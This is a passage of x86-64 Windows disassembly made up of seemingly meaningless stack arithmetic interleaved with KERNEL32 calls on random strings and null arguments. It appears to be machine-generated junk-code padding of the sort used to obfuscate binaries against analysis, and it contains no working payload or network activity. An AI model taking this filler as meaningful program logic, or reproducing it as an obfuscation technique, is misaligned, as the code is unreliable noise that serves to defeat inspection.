movzx eax, word [rax]
mov word [rsp + 0x16c4], ax
movzx eax, byte [rsp + 0x2a6]
mov rcx, qword [rsp + 0x9640]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa468]
mov byte [rcx], al
lea rcx, [rsp + 0xc2e8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rax, [rsp + 0x4fe8]
mov qword [rsp + 0xc2f0], rax
movzx ecx, word [rsp + 0x1580]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1220], ax
mov rax, qword [rsp + 0xa8b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa478]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x238], al
mov rcx, qword [rsp + 0x9328]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xc0b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8fc]
and eax, ecx
mov rcx, qword [rsp + 0x9f38]
mov word [rcx], ax
movzx ecx, word [rsp + 0x10b4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x16c8], ax
lea rax, [rsp + 0xb190]
mov qword [rsp + 0xc2f8], rax
mov rax, qword [rsp + 0xc0f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa628]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xdf8], ax
mov rax, qword [0x14024f090]
mov rcx, qword [rsp + 0xa040]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14024f0d8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x29f]
movzx ecx, byte [rsp + 0x2dd]
add eax, ecx
mov byte [rsp + 0xb5], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0xa438]
mov rcx, qword [rsp + 0xb318]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc0e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa728]
mov rcx, qword [rsp + 0xa530]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8660], rax
lea rax, [rsp + 0x271]
mov qword [rsp + 0xc300], rax
mov rax, qword [rsp + 0xb3e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb438]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb0f0]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc290], rax
lea rcx, [rsp + 0x1a558]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rdx, [rsp + 0xb5f8]
mov rcx, qword [rsp + 0xaae0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4ebc], eax
lea rax, [rsp + 0x4b28]
mov qword [rsp + 0xc308], rax
lea rcx, [rsp + 0x1ac18]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rcx, str.XXLY2
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x16cc], ax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x1f4a0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4ce4], eax
movzx ecx, word [rsp + 0x13b8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x16d0], ax
movzx ecx, word [rsp + 0x1640]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1520], ax
lea rcx, [rsp + 0x1aca8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e20], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.ksONTfVtvWCQvLPLo6u
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc310], rax
lea rcx, [rsp + 0xab98]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov rax, qword [rsp + 0xa320]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xac98]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x282], al
movzx eax, word [0x14024ef90]
mov word [rsp + 0x16d4], ax
mov rax, qword [rsp + 0xaa48]
mov rcx, qword [rsp + 0xb480]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14024f38c], eax
mov dword [rsp + 0x20], 0x2fd
mov r9d, 0x28ba
mov r8d, 0x139
mov edx, 0x1b3f
mov rcx, qword [rsp + 0xb9f0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4e80], eax
mov dword [rsp + 0x233a0], 0x11c
lea rcx, [rsp + 0xbd48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, [rsp + 0x1afa8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x365f
mov r9d, 0x24c1
mov r8d, 0x195f0b58
mov edx, 2
mov rcx, qword [rsp + 0xbc88]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x50d8], eax
mov rax, qword [rsp + 0x9720]
mov rcx, qword [rsp + 0x80e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8358], rax
mov rax, qword [rsp + 0x9e58]
mov rcx, qword [rsp + 0xc130]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xa6d8]
mov qword [rcx], rax
movzx ecx, word [rsp + 0x10e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x12ec], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [rsp + 0xb498]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb0c0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xb5c], ax
lea rcx, str.Mv_h4aYFmM
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x16d8], ax
movzx ecx, word [rsp + 0x15e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1120], ax
movsx eax, byte [rsp + 0x29e]
mov rcx, qword [rsp + 0xa7a8]
movsx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x2d5], al
movzx ecx, word [rsp + 0x12a0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11fc], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc318], rax
mov rax, qword [rsp + 0xba30]
mov eax, dword [rax]
mov dword [rsp + 0x50dc], eax
mov rax, qword [rsp + 0xa3d8]
mov rcx, qword [rsp + 0x89d8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb160], rax
movsx eax, word [rsp + 0x63c]
mov rcx, qword [rsp + 0xb7f8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x984], ax
movzx ecx, word [rsp + 0x1274]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1388], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa5c8], rax
mov rax, qword [rsp + 0x9ac8]
mov ecx, dword [rsp + 0x4fac]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3e1c], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
lea rcx, [rsp + 0x1afd8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rax, [rsp + 0x150c]
mov qword [0x14024ef88], rax
lea rdx, [rsp + 0x8d10]
mov rcx, qword [rsp + 0x9b78]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x508c], eax
movzx ecx, word [rsp + 0x10f8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x16dc], ax
mov rax, qword [rsp + 0xb4b8]
mov ecx, dword [rsp + 0x4ac0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9a10]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x2c8d
mov r9d, 0x10d1
mov r8d, 0x1cb5
mov edx, 0x2332
mov rcx, qword [rsp + 0xb9e8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4da8], eax
mov r9d, 1
lea r8, [rsp + 0x9760]
mov rdx, qword [rsp + 0xac58]
mov rcx, qword [rsp + 0xb630]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x50e0], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea rax, [rsp + 0x279]
mov qword [rsp + 0xc320], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xae80], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov rax, qword [rsp + 0x8f18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb5]
add eax, ecx
mov byte [rsp + 0x2a1], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
movzx ecx, word [rsp + 0x1540]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x16e0], ax
mov r9d, 1
lea r8, [rsp + 0xb5f0]
mov rdx, qword [rsp + 0xa408]
mov rcx, qword [rsp + 0x9be8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4df0], eax
mov eax, dword [rsp + 0x501c]
mov ecx, dword [0x14022fb68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cd0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.G2MW7dbDSOYvCx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc328], rax
movzx ecx, word [rsp + 0x10c8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x117c], ax
mov rax, qword [rsp + 0x9a60]
movzx eax, word [rax]
mov word [rsp + 0x16e4], ax
mov rcx, qword [rsp + 0x90d0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, str.CAq_EunFZK1_nFSam
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x16e8], ax
movzx ecx, word [rsp + 0x1078]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1548], ax
lea rdx, [rsp + 0xc330]
mov rcx, qword [rsp + 0xa458]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4ef8], eax
mov rax, qword [rsp + 0xade8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa448]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2b5], al
movzx ecx, word [rsp + 0x10d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1448], ax
lea rdx, [rsp + 0xc338]
mov rcx, qword [rsp + 0xa400]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a50], eax
movzx eax, word [0x14024f014]
mov word [rsp + 0x16ec], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
lea rcx, [rsp + 0x8ee0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, byte [rsp + 0x298]
mov rcx, qword [rsp + 0xbc10]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1fb], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xbc38], rax
lea rcx, [rsp + 0xaf48]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xaac8]
mov ecx, dword [rsp + 0x4cdc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14024f308]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9e58]
mov rax, qword [rax]
imul rax, qword [rsp + 0x8828]
mov qword [rsp + 0x8890], rax
mov rax, qword [rsp + 0xb660]
mov rcx, qword [rsp + 0xac20]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7b08], rax
mov rcx, qword [rsp + 0xa430]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
lea rdx, [rsp + 0x8d50]
mov rcx, qword [rsp + 0xa328]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x50e4], eax
mov rcx, qword [rsp + 0xa180]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xa760]
mov rcx, qword [rsp + 0xa7e8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7a18], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb418], rax
lea rax, [rsp + 0x1a3]
mov qword [rsp + 0xc340], rax
mov rax, qword [rsp + 0xb8e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbba0]
mov qword [rsp + 0xc348], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc348]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x9e98]
mov qword [rcx], rax
lea rax, [rsp + 0x940]
mov qword [rsp + 0xc350], rax
mov rax, qword [rsp + 0xae20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b78]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4554], eax
mov rax, qword [rsp + 0xaed0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9160]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x252], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb898], rax
movzx eax, word [0x14024f0c8]
mov rcx, qword [rsp + 0xb508]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14022fbf0], ax
lea rax, [rsp + 0x4904]
mov qword [rsp + 0xc358], rax
lea rcx, str.VHRJ3b
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x16f0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0xa040]
mov rcx, qword [rsp + 0x9cf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x47d0], eax
movzx ecx, word [rsp + 0x14d0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10b4], ax
lea rcx, [rsp + 0x1a7f8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.OvbvMfHJRDXKJ60ym
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc360], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
movzx eax, word [rsp + 0x1638]
mov word [rsp + 0x16f4], ax
mov rax, qword [rsp + 0xb800]
movzx eax, byte [rax]
imul eax, eax, 0x49
mov byte [rsp + 0x2ad], al
movsx eax, byte [rsp + 0x286]
movsx ecx, byte [rsp + 0x2c4]
and eax, ecx
mov byte [rsp + 0x1e1], al
mov edx, 0x243d
mov rcx, qword [rsp + 0xbf40]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4eb4], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov rax, qword [rsp + 0x9518]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa208]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd58], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.9MBMY
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc368], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x1f5c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4aec], eax
lea rcx, str.DYO_ZVs.j
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x16f8], ax
mov rax, qword [rsp + 0xb1f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4140], eax
mov rax, qword [rsp + 0xb318]
mov rax, qword [rax]
mov qword [rsp + 0xc370], rax
mov dword [rsp + 0x20], 0x1d21
mov r9d, 0x3772
mov r8d, 0x2380
mov edx, 0x3a1c
mov rcx, qword [rsp + 0xb088]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4d50], eax
movzx ecx, word [rsp + 0x116c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x16fc], ax
lea rcx, [rsp + 0x1a768]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
lea rcx, [rsp + 0xbe28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov r9d, 0xca3
xor r8d, r8d
lea rdx, [rsp + 0x8d00]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x50e8], eax
lea rcx, [rsp + 0x1a768]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rax, qword [rsp + 0xb6d8]
movzx eax, byte [rax]
mov byte [0x14024ef82], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x218a0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x50ec], eax
lea rcx, [rsp + 0xba58]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x20e80]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4d1c], eax
movzx eax, word [rsp + 0x1200]
movzx ecx, word [rsp + 0x153c]
sub eax, ecx
mov rcx, qword [rsp + 0xb128]
mov word [rcx], ax
mov rax, qword [rsp + 0xb960]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x464c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x48a8], eax
movzx ecx, word [rsp + 0x13f0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1700], ax
lea rdx, [rsp + 0x9908]
mov rcx, qword [rsp + 0xa1e8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a44], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.OhtxBMgcSYYXWRkXM1jrwxZ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc378], rax
movzx ecx, word [rsp + 0xfbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x15f4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov r9d, 1
lea r8, [rsp + 0xa918]
mov rdx, qword [rsp + 0xbc50]
mov rcx, qword [rsp + 0x9638]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x50f0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
lea rax, [rsp + 0xa888]
mov qword [rsp + 0xc380], rax
lea rcx, [rsp + 0xc198]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xbc98]
mov rcx, qword [rsp + 0x84c0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xaa10]
mov qword [rcx], rax
mov edx, 0x1706
mov rcx, qword [rsp + 0x8e28]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x50f4], eax
lea rax, [rsp + 0x15b4]
mov qword [rsp + 0xc388], rax
mov rax, qword [rsp + 0xa8c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x27d]
add eax, ecx
mov rcx, qword [rsp + 0x99d8]
mov byte [rcx], al
mov rax, qword [rsp + 0xadc0]
mov ecx, dword [rsp + 0x420c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4b98], eax
lea rdx, [rsp + 0xb770]
mov rcx, qword [rsp + 0x9fa0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4bec], eax
mov rax, qword [rsp + 0xa338]
movzx eax, word [rax]
mov word [rsp + 0x1704], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov rax, qword [0x14024f368]
mov ecx, dword [rsp + 0x4f04]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14024f3a4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x2c7]
movzx ecx, byte [rsp + 0x29f]
or eax, ecx
mov byte [rsp + 0x1a3], al
mov rax, qword [rsp + 0x9010]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa470]
mov qword [rsp + 0xc390], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc390]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8998], rax
mov rax, qword [rsp + 0xaa20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x84c0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1f8], rax
movzx ecx, word [rsp + 0x10f4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x16d0], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov rax, qword [rsp + 0xb548]
mov eax, dword [rax]
mov dword [rsp + 0x50f8], eax
mov dword [rsp + 0x234c0], 0x11c
movsx eax, word [0x14024f3be]
movsx ecx, word [rsp + 0x148c]
sar eax, cl
mov word [rsp + 0x688], ax
mov dword [rsp + 0x20], 0x228a
mov r9d, 0x1965
mov r8d, 0x35ed
mov edx, 0x29c7
mov rcx, qword [rsp + 0xb358]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x5008], eax
mov eax, dword [rsp + 0x42a8]
mov ecx, dword [rsp + 0x45e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x491c], eax
lea rcx, [rsp + 0x1aa68]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xbbc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x98a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x146], al
mov r9d, 0x4d1
xor r8d, r8d
lea rdx, [rsp + 0xaba0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x50fc], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xbe30], rax
mov rax, qword [rsp + 0xa838]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2f1]
and eax, ecx
mov byte [rsp + 0x1d3], al
movzx eax, word [rsp + 0x1428]
mov word [0x14024ef80], ax
movzx ecx, word [rsp + 0x16cc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x12d8], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x95a8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc398], rax
lea rax, [rsp + 0xa1b0]
mov qword [rsp + 0xc3a0], rax
lea rdx, [rsp + 0xbd48]
mov rcx, qword [rsp + 0xb580]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4c7c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0x7be8]
imul rax, qword [rsp + 0x8650]
mov rcx, qword [rsp + 0xaa88]
mov qword [rcx], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.yTHg0lqHNMiy7mSd
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc3a8], rax
movzx eax, word [rsp + 0x8d4]
mov rcx, qword [rsp + 0xb560]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb94], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xad50], rax
mov rax, qword [rsp + 0x9a68]
movzx eax, byte [rax]
mov byte [rsp + 0x2ff], al
mov rax, qword [rsp + 0xb1f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4898]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4358], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xada0], rax
lea rcx, str.2nAF8.RX
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1708], ax
movzx ecx, word [rsp + 0xfe4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x102c], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.zycmqzQgfkL5vf7
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc3b0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
movzx eax, byte [rsp + 0x278]
mov byte [rsp + 0x300], al
mov rax, qword [rsp + 0xa940]
movsx eax, word [rax]
movsx ecx, word [0x14024f3bc]
add eax, ecx
mov rcx, qword [rsp + 0xb570]
mov word [rcx], ax
mov eax, dword [rsp + 0x3f08]
mov ecx, dword [rsp + 0x4ea0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb2c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2ae]
sub eax, ecx
mov rcx, qword [0x14024f080]
mov byte [rcx], al
movzx ecx, word [rsp + 0x15e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf28], ax
movzx eax, word [rsp + 0x12c4]
movzx ecx, word [rsp + 0xb9c]
sub eax, ecx
mov word [rsp + 0x8dc], ax
mov rax, qword [rsp + 0xaae8]
mov eax, dword [rax]
